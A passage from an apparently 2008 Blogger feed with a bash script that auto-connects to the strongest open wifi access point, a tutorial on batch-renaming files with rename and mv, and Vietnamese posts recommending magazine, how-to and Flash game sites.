src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-7053593318431011444</id><published>2008-03-19T06:04:00.000-07:00</published><updated>2008-03-19T06:05:39.755-07:00</updated><title type='text'>Bash script to connect to strongest unencrypted wifi AP</title><content type='html'>&lt;pre&gt;#!/bin/bash&lt;br /&gt;# Finds the strongest unencrypted AP and tries to connect to it via dhcp&lt;br /&gt;# Call this script like "wifi.sh wlan0"&lt;br /&gt;TEMP=/tmp/bestap.tmp&lt;br /&gt;LOCK=/var/lock/bestap.lock&lt;br /&gt;if [ `whoami` != "root" ];then&lt;br /&gt;       echo "Sorry, you need to be root to run this program"&lt;br /&gt;       exit 1&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [[ -z $1 ]];then&lt;br /&gt;       echo "USAGE: $0 device"&lt;br /&gt;       exit 1&lt;br /&gt;else&lt;br /&gt;       interface=$1&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;# Checking for lock&lt;br /&gt;if [[ -e $LOCK ]];then&lt;br /&gt;       exit 1; # Too simply nothing to do here :)&lt;br /&gt;else&lt;br /&gt;       touch $TEMP $LOCK&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;isNotInteger()&lt;br /&gt;{&lt;br /&gt;   x=$1&lt;br /&gt;   case $x in&lt;br /&gt;       *[!0-9])&lt;br /&gt;           return 0 ;;&lt;br /&gt;       *)&lt;br /&gt;           return 1 ;;&lt;br /&gt;   esac&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# Proggy&lt;br /&gt;iwlist $interface scan &gt; $TEMP&lt;br /&gt;NumAPs=`cat $TEMP | grep ESSID | wc -l`&lt;br /&gt;BestAP=0&lt;br /&gt;BestQuality=-1&lt;br /&gt;for i in `seq 1 $NumAPs`;&lt;br /&gt;do&lt;br /&gt;  # Check if AP is encrypted&lt;br /&gt;  Encryption=`cat $TEMP | grep Encryption | head -n$i | tail -n1 | cut -d":" -f2`&lt;br /&gt;  if [ $Encryption = "off" ]; then&lt;br /&gt;     # Find AP with the highest quality&lt;br /&gt;     QUALITY=`cat $TEMP | grep Quality | head -n$i | tail -n1 | cut -d":" -f2 | cut -d"/" -f1 | sed 's/ //g'`&lt;br /&gt;     if isNotInteger "$QUALITY"; then&lt;br /&gt;       # If we didn't find an integer, try this instead:&lt;br /&gt;       QUALITY=`cat $TEMP | grep Quality | head -n$i | tail -n1 | cut -d"=" -f2 | cut -d"/" -f1 | sed 's/ //g'`&lt;br /&gt;     fi&lt;br /&gt;     if [ "$QUALITY" -gt "$BestQuality" ]; then&lt;br /&gt;        BestQuality=$QUALITY&lt;br /&gt;        BestAP=$i&lt;br /&gt;     fi&lt;br /&gt;  fi&lt;br /&gt;done&lt;br /&gt;if [ $BestAP -gt 0 ]; then&lt;br /&gt;  # Yay, we found an unencrypted AP:&lt;br /&gt;  echo Connecting to...&lt;br /&gt;  ESSID=`cat $TEMP | grep ESSID | head -n$BestAP | tail -n1 | cut -d""" -f2`&lt;br /&gt;  echo ESSID=$ESSID&lt;br /&gt;  MODE=`cat $TEMP | grep Mode | head -n$BestAP | tail -n1 | cut -d":" -f2`&lt;br /&gt;  echo Mode=$MODE&lt;br /&gt;  CHANNEL=`cat $TEMP | grep Channel | head -n$BestAP | tail -n1 | cut -d"(" -f2 | sed 's/Channel //g' | sed 's/)//g'`&lt;br /&gt;  echo Channel=$CHANNEL&lt;br /&gt;  # Connect&lt;br /&gt;  iwconfig $interface essid $ESSID mode $MODE channel $CHANNEL&lt;br /&gt;  if [ -e /etc/dhcpc/dhcpcd-${interface}.pid ]; then&lt;br /&gt;     rm /etc/dhcpc/dhcpcd-${interface}.pid&lt;br /&gt;  fi&lt;br /&gt;  dhcpcd $interface&lt;br /&gt;  # Cleanup&lt;br /&gt;fi&lt;br /&gt;rm -f $TEMP $LOCK&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-7053593318431011444?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/7053593318431011444/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=7053593318431011444' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/7053593318431011444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/7053593318431011444'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/03/bash-script-to-connect-to-strongest.html' title='Bash script to connect to strongest unencrypted wifi AP'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-2853919092760358605</id><published>2008-03-17T07:23:00.000-07:00</published><updated>2008-03-17T07:28:32.509-07:00</updated><title type='text'>Rename multiple file !</title><content type='html'>&lt;p&gt;We are going to use rename which is a perl script, and also the know mv, together with for, in "one-line" shell-script&lt;/p&gt;&lt;h3&gt;rename&lt;/h3&gt; &lt;p&gt;&lt;strong&gt;Syntax&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;rename [ -v ] [ -n ] [ -f ] perlexpr [ files ]&lt;/p&gt; &lt;dl&gt;&lt;dt&gt;-v&lt;/dt&gt;&lt;dd&gt;Verbose: print names of files successfully renamed.&lt;/dd&gt;&lt;dt&gt;-n&lt;/dt&gt;&lt;dd&gt;No Action: show what files would have been renamed.&lt;/dd&gt;&lt;dt&gt;-f&lt;/dt&gt;&lt;dd&gt;Force: overwrite existing files.&lt;/dd&gt;&lt;dt&gt;perlexpr     Perl Expression&lt;/dt&gt;&lt;/dl&gt; &lt;p&gt;&lt;strong&gt;Regular Expressions&lt;/strong&gt;&lt;/p&gt; &lt;dl&gt;&lt;dt&gt;&lt;code&gt;^&lt;/code&gt; &lt;/dt&gt;&lt;dd&gt;matches the beginning of the line &lt;/dd&gt;&lt;dt&gt;&lt;code&gt;$&lt;/code&gt; &lt;/dt&gt;&lt;dd&gt;matches the end of the line &lt;/dd&gt;&lt;dt&gt;&lt;code&gt;.&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;Matches any single character&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;(character)*&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;match arbitrarily many occurences of (character)&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;(character)?&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;Match 0 or 1 instance of (character)&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;[abcdef]&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;Match any character enclosed in [] (in this instance, a b c d e or f)&lt;br /&gt;ranges of characters such as &lt;code&gt;[a-z]&lt;/code&gt; are permitted. The behaviour&lt;br /&gt;of this deserves more description. See the page on &lt;a href="http://www.go2linux.org/grep.html"&gt;grep&lt;/a&gt;&lt;br /&gt;for more details about the syntax of lists.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;[^abcdef]&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;Match any character &lt;em&gt;NOT&lt;/em&gt; enclosed in [] (in this instance, any character other than a b c d e or f)&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;(character)\{m,n\}&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;Match m-n repetitions of (character)&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;(character)\{m,\}&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;Match m or more repetitions of (character)&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;(character)\{,n\}&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;Match n or less (possibly 0) repetitions of (character)&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;(character)\{n\}&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;Match exactly n repetitions of (character)&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;\(expression\)&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;Group operator.&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;\n&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;Backreference - matches nth group&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;expression1\|expression2&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;Matches expression1 or expression 2. Works with GNU sed, but this feature might not work with other forms of sed.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;\w&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;matches any single character classified as a “word” character (alphanumeric or “_”)&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;\W&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;matches any non-“word” character&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;\s&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;matches any whitespace character (space, tab, newline)&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;\S&lt;/code&gt; &lt;/dt&gt;&lt;dd&gt;matches any non-whitespace character&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;\d&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;matches any digit character, equiv. to [0-9]&lt;/dd&gt;&lt;dt&gt;&lt;code&gt;\D&lt;/code&gt;&lt;/dt&gt;&lt;dd&gt;matches any non-digit character&lt;/dd&gt;&lt;/dl&gt; &lt;p&gt;As rename is a &lt;a id="KonaLink4" target="_top" class="kLink" style="text-decoration: underline ! important; position: static;" href="http://www.go2linux.org/rename-bulk-files-with-linux-console-command#"&gt;&lt;span style="font-weight: 400; position: static;font-family:Arial,Verdana,sans-serif;font-size:12;color:#b00000;"   &gt;&lt;span class="kLink" style="font-weight: 400; position: static;font-family:Arial,Verdana,sans-serif;font-size:12;color:#b00000;"   &gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;perl cript you will need perl to run it, and here are some examples about how to use it.&lt;/p&gt; &lt;p class="codigo"&gt;$ rename -v 's/\.htm$/\.html/' *.htm&lt;/p&gt; &lt;p&gt;This is going to change &lt;strong&gt;htm&lt;/strong&gt; to &lt;strong&gt;html&lt;/strong&gt; in every file ending with .htm in its name.&lt;/p&gt; &lt;p&gt;If you want to change the name of something like this:&lt;/p&gt; &lt;pre&gt;-rw-r--r-- 1 ggarron ggarron 0 2007-12-30 19:33 1.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron 0 2007-12-30 19:33 2.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron 0 2007-12-30 19:34 3.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron 0 2007-12-28 20:35 b.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron 0 2007-12-28 20:35 c.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron 0 2007-12-28 20:35 d.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron 0 2007-12-28 20:35 e.txt&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; That is the output of &lt;code&gt;ls -l&lt;/code&gt;, and are files created with &lt;code&gt;touch&lt;/code&gt; by me for this examples.&lt;/p&gt; &lt;p&gt;nNow lets say I want to add a more descriptive string to the name of these files like Thesis, so here we go.&lt;/p&gt; &lt;p class="codigo"&gt;rename -n 's/(\w{1})\.txt$/$1_thesis\.txt/' *.txt&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Note: I am using -n to make only a test and see if the result is what I want&lt;/strong&gt;&lt;/p&gt; &lt;pre&gt;1.txt renamed as 1_thesis.txt&lt;br /&gt;2.txt renamed as 2_thesis.txt&lt;br /&gt;3.txt renamed as 3_thesis.txt&lt;br /&gt;b.txt renamed as b_thesis.txt&lt;br /&gt;c.txt renamed as c_thesis.txt&lt;br /&gt;d.txt renamed as d_thesis.txt&lt;br /&gt;e.txt renamed as e_thesis.txt&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; As you see that is what I wanted, now lets suppose I only want to change the name to files with a number in the name and with a letter in it.&lt;/p&gt; &lt;p class="codigo"&gt;rename -n 's/(\d{1})\.txt$/$1_thesis\.txt/' *.txt&lt;/p&gt; &lt;pre&gt;1.txt renamed as 1_thesis.txt&lt;br /&gt;2.txt renamed as 2_thesis.txt&lt;br /&gt;3.txt renamed as 3_thesis.txt&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; You can also match only the ones with non-digit names&lt;/p&gt; &lt;p class="codigo"&gt;rename -n 's/(\D{1})\.txt$/$1_thesis\.txt/' *.txt&lt;/p&gt; &lt;p&gt;And the output will be:&lt;/p&gt; &lt;pre&gt;b.txt renamed as b_thesis.txt&lt;br /&gt;c.txt renamed as c_thesis.txt&lt;br /&gt;d.txt renamed as d_thesis.txt&lt;br /&gt;e.txt renamed as e_thesis.txt&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; As you may see, it is just a "using the right regexp" thing.&lt;/p&gt; &lt;p&gt;In case you do not have rename on your system (I think non-Debian does not have) you can use &lt;code&gt;mv&lt;/code&gt;&lt;/p&gt; &lt;h3&gt;Using mv&lt;/h3&gt; &lt;p&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Here we will first need to learn something about &lt;strong&gt;bash string operators&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Match and substitute, there are two basic forms for this, substitute from the right of the match and from the left of the match.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;substitution from the right&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;code&gt;${var%t*string}&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Now if we want to erase the word thesis from the previous example just enter:&lt;/p&gt; &lt;p class="codigo"&gt;for i in *.txt; do mv "$i" "${i%t*.txt}.txt"; done&lt;/p&gt; &lt;p&gt;Before:&lt;/p&gt; &lt;pre&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 1_thesis.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 2_thesis.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 3_thesis.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 b_thesis.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 c_thesis.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 d_thesis.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 e_thesis.txt&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; After:&lt;/p&gt; &lt;pre&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 1_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 2_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 3_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 b_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 c_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 d_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:24 e_.txt&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; &lt;strong&gt;substitution from the left&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;code&gt;${var#string}&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;And if we want to replace .txt for .txt.bak just enter:&lt;/p&gt; &lt;p&gt;Now lets suppose we have this:&lt;/p&gt; &lt;pre&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 thesis-1_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 thesis-2_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 thesis-3_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 thesis-b_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 thesis-c_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 thesis-e_.txt&lt;br /&gt;&lt;/pre&gt;&lt;p&gt; And we want to erase the word &lt;strong&gt;&lt;em&gt;thesis&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Just enter this: &lt;/p&gt; &lt;p class="codigo"&gt;for f in thesis*; do mv "$f" "${f#thesis-}"; done&lt;/p&gt; &lt;p&gt;And the output of &lt;code&gt;ls -l&lt;/code&gt; will now be:&lt;/p&gt; &lt;pre&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 1_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 2_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 3_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 b_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 c_.txt&lt;br /&gt;-rw-r--r-- 1 ggarron ggarron    0 2007-12-30 20:28 e_.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;My example :&lt;br /&gt;   I have a lot of files named Untitled-xxx.jpg. Now I want to rename to xxx.jpg&lt;br /&gt;   I must use the syntaxe : rename 's/^Untitled-//g ; s/^0+//g' *.jpg&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-2853919092760358605?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/2853919092760358605/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=2853919092760358605' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/2853919092760358605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/2853919092760358605'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/03/rename-multiple-file.html' title='Rename multiple file !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-4988913209540914025</id><published>2008-03-05T02:19:00.000-08:00</published><updated>2008-03-05T02:20:19.009-08:00</updated><title type='text'>Tạp chí online ( bằng tiếng Anh ) !</title><content type='html'>&lt;tbody&gt;&lt;tr&gt;&lt;td style="padding: 3px 5px;" align="justify"&gt;&lt;p align="center"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;b&gt;&lt;a href="http://www.asiaing.com/"&gt;www.asiaing.com&lt;/a&gt;        &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;                              &lt;/tr&gt;          &lt;tr&gt;                             &lt;td style="padding: 3px 5px;" align="justify"&gt;                             &lt;p align="justify"&gt;        &lt;span style="font-size: 9pt;"&gt;        Số lượng sách và tạp chí tại đây rất đa dạng với         nhiều chuyên ngành như: kinh tế, khoa học kỹ thuật,         y học, văn học, thời trang, tin học... điều thú vị         là các tạp chí này luôn có số mới nhất và chưa được         phát hành, đồng thời bạn cũng không bị hạn chế về số         trang được xem.&lt;br&gt;       Không những có thể xem trực tuyến, trang web còn cho         phép người đọc tải về để xem offline (riêng các tạp         chí quá mới thì bạn chỉ được xem online thôi, tuy         nhiên bạn có thể dùng một máy in ảo như để xuất tài         liệu online ra tập tin PDF), các tài liệu này đều ở         định dạng PDF và có chất lượng khá tốt. Chỉ lưu ý         nhỏ là đối với các tạp chí được tải về xem offline,         có thể bạn sẽ phải chú ý thật nhiều và vốn tiếng Anh         kha khá thì mới nhìn thấy địa chỉ tải của chúng đấy. &lt;/span&gt;&lt;/p&gt;&lt;/td&gt;                              &lt;/tr&gt;          &lt;tr&gt;                             &lt;td style="padding: 3px 5px;" align="justify"&gt;                             &lt;p align="center"&gt;        &lt;img src="http://echip.com.vn/echiproot/images/2008/374tt/luotweb3.jpg" border="0" height="309" width="376"&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-4988913209540914025?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/4988913209540914025/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=4988913209540914025' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/4988913209540914025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/4988913209540914025'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/03/tp-ch-online-bng-ting-anh.html' title='Tạp chí online ( bằng tiếng Anh ) !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-365640372342953903</id><published>2008-03-05T02:11:00.000-08:00</published><updated>2008-03-05T02:19:03.192-08:00</updated><title type='text'>Tạp chí tiếng Việt cho những người thích tìm hiểu về tin học !</title><content type='html'>&lt;p align="center"&gt;        &lt;img src="http://echip.com.vn/echiproot/images/2008/374tt/luotweb.jpg" border="0" height="208" width="384"&gt;&lt;/p&gt;                                                                                                  &lt;span style="font-size: 9pt;"&gt;Bạn muốn tìm hiểu         Windows Vista? Bạn muốn biết thêm cách sử dụng các         dịch vụ email? Bạn không rõ về mạng, phần cứng...         Mọi thắc mắc của các bạn có thể tìm thấy tại trang         Web HOW-TO (http://www.how.vn). Với câu mời “Làm thế         nào để...”, website cung cấp cho bạn rất nhiều những         thủ thuật máy tính về Vista, XP, Office, Email,         Network... Làm thế nào cải thiện tốc độ Windows XP,         làm thế nào để tự chạy các ứng dụng bạn yêu thích,         làm thế nào để chia sẻ dữ liệu trong môi trường         mạng...? Từng bài viết, từng chuyên mục sẽ giúp bạn         nắm vững chiếc máy tính của mình hơn.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-365640372342953903?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/365640372342953903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=365640372342953903' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/365640372342953903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/365640372342953903'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/03/tp-ch-ting-vit-cho-nhng-ngi-thch-tm-hiu.html' title='Tạp chí tiếng Việt cho những người thích tìm hiểu về tin học !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-6715187621995743379</id><published>2008-03-05T01:55:00.000-08:00</published><updated>2008-03-05T02:05:18.786-08:00</updated><title type='text'>Vui xuân Mậu Tí cùng các game con chuột !</title><content type='html'>&lt;span style="color: rgb(255, 0, 0);font-size:180%;" &gt;&lt;span style="font-weight: bold;"&gt;Chuột chũi tìm kho báu&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                  &lt;img src="http://khoahocphothong.com.vn/images/news/1202886667_Vui0.gif" align="left" border="1" width="200" /&gt;Đây là một game phiêu lưu rất thú vị với đồ họa đẹp tới từng chi tiết. Bạn sẽ được cùng chuột chũi Harry đi chu du vòng quanh thế giới, xuyên các đại dương qua các châu lục để tìm đủ 10 phần của kho báu.&lt;br /&gt;&lt;br /&gt;                  &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:10;color:#000000;"   &gt;&lt;span style="font-size:130%;"&gt;Cách chơi game này rất dễ, bạn sử dụng các phím mũi tên để di chuyển chuột chũi Harry qua trái,&lt;img style="width: 204px; height: 139px;" alt="" src="http://khoahocphothong.com.vn/uploadedfiles/1202886440_Vui1.gif" align="right" border="0" height="150" hspace="4" vspace="4" width="214" /&gt;&lt;/span&gt; &lt;span style="font-size:130%;"&gt;phải hay lên, xuống để tìm kiếm các phần của kho báu. Phím M để hiển thị hoặc giấu bản đồ đường đi. Phím Space để nhặt hoặc thả đồ vật. Bạn cần nhặt đồ để vượt qua những chướng ngại vật cản đường (mỗi lần chỉ nhặt được một đồ vật). Bạn đừng để chuột chũi Harry va phải những con chuột khác trên đường làm cho Harry sẽ bị tổn thương và hao tốn năng lượng. Hãy giúp Harry tìm đủ 10 phần của kho báu nhé. Game có dung lượng tí hon 1.34 MB, bạn có thể chơi trực tuyến hoặc download về chơi offline tại 2 địa chỉ: &lt;span style="font-style: italic;"&gt;http://www1.socvui.com/VCGuploaded/GameFlashs/chuotchuitimkhobau.swf&lt;/span&gt; và &lt;span style="font-style: italic;"&gt;http://tinyurl.com/22dtto&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt; &lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:180%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;Mèo Tom và chuột Jerry&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;img alt="" src="http://khoahocphothong.com.vn/uploadedfiles/1202886478_Vui2.gif" align="left" border="0" hspace="4" vspace="4" /&gt;Game mô phỏng bộ phim hoạt hình nổi tiếng Tom &amp;amp; Jerry. Ở trò chơi này các bạn sẽ trực tiếp tham gia đóng vai 1 trong 2 nhân vật trên trong trò Ném bóng nước và Kẻ đột kích.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Ở vai mèo Tom bạn dùng những quả bong bóng nước để ném vào chú chuột Jerry khi Jerry đang cố lấy trộm những miếng phó mát và chạy trốn qua chiếc dây phơi. Bạn dùng phím mũi tên để di chuyển mèo Tom sang trái hoặc phải và dùng phím Space để ném bong bóng nước vào Jerry, bạn phải ném thật nhanh và chính xác đừng để Jerry lấy trộm phó mát của chủ nhà.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Còn trong vai chuột Jerry - kẻ đột kích, bạn dùng phím Space ăn trộm thức ăn trong tủ lạnh và ném xuống cho một chú chuột khác ở dưới, vừa phải ném chính xác vừa phải tránh những trái banh do mèo Tom ném vào. Game flash Tom &amp;amp; Jerry có dung lượng 866 KB, download tại địa chỉ: &lt;span style="font-style: 